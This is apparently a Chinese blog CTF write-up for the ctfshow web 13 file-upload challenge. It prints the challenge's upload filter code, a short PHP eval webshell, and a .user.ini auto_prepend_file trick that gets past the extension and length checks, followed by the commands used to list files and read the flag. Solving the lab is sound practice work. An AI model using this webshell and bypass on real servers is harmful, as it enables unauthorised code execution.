zoukankan      html  css  js  c++  java
  • ctfshow-web 13

    web 13

    打开环境,我们来看一下,这是一道典型的文件上传的题。那我们就来做一下。

    首先那肯定是要上传一句话木马的。那我们先试着上传一句话木马。结果提示出错了。

    这是怎么回事呢。那我们找一下源码吧。输入/upload.php.bak便可将源码下载下来。

     1 <?php 
     2     header("content-type:text/html;charset=utf-8");
     3     $filename = $_FILES['file']['name'];//获取文件名
     4     $temp_name = $_FILES['file']['tmp_name'];
     5     $size = $_FILES['file']['size'];//获取文件大小
     6     $error = $_FILES['file']['error'];
     7     $arr = pathinfo($filename);
     8     $ext_suffix = $arr['extension'];//获取文件的扩展名
     9     if ($size > 24){
    10         die("error file zise");
    11     }
    12     if (strlen($filename)>9){
    13         die("error file name");
    14     }
    15     if(strlen($ext_suffix)>3){
    16         die("error suffix");
    17     }
    18     if(preg_match("/php/i",$ext_suffix)){
    19         die("error suffix");
    20     }
    21     if(preg_match("/php/i"),$filename)){
    22         die("error file name");
    23     }
    24     if (move_uploaded_file($temp_name, './'.$filename)){
    25         echo "文件上传成功!";
    26     }else{
    27         echo "文件上传失败!";
    28     }
    29 
    30  ?>

    这家伙不仅过滤了php文件,而且还对上传文件进行了限制。

    就是你上传的文件,内容大小得小于等于24,扩展名不长度得小于等于3,文件名得小于等于9,扩展名和文件名里都不能出现php。我的天。

    这怎么解决。首先我们的内容肯定是一句话木马。这已经超出了长度。这样的话就把它改成 <?php eval($_GET['a']); ,然后文件名为a.txt.这样的话就符合条件了吧。当然只上传这个是达不到我们的目的的。所以我们还需要上传一个文件。 .user.ini  它是PHP 支持基于每个目录的 INI 文件配置,而且如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

    然后我们再此文件里写入 auto_prepend_file =a.txt 

    auto_prepend_file是什么是意思呢。它就是设置页眉和脚注,可以保证它们在每个页面的前后被载入。使用这些指令包含的文件可以像使用include()语句包含的文件一样

    有了这条件命令后。我们就可以执行a.txt的内容了。

    然后我们先上传文件a.txt

    然后再上传.urser.ini文件

    上传成功之后 我们先访问phpinfo()进行测试。

     看来上传成功了。

    那好我们来访问一下目录。 ?a=print_r(scandir(".")); 

     发现此文件,读取一下 ?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); 

     拿到flag

    参考文章:

      auto_prepend_file与auto_append_file

      web 13

    感谢两位师傅!!!

  • 相关阅读:
    【校招面试 之 C/C++】第23题 C++ STL(五)之Set
    Cannot create an instance of OLE DB provider “OraOLEDB.Oracle” for linked server "xxxxxxx".
    Redhat Linux安装JDK 1.7
    ORA-10635: Invalid segment or tablespace type
    Symantec Backup Exec 2012 Agent for Linux 卸载
    Symantec Backup Exec 2012 Agent For Linux安装
    You must use the Role Management Tool to install or configure Microsoft .NET Framework 3.5 SP1
    YourSQLDba介绍
    PL/SQL重新编译包无反应
    MS SQL 监控数据/日志文件增长
  • 原文地址:https://www.cnblogs.com/awsole/p/14388357.html
Copyright © 2011-2022 走看看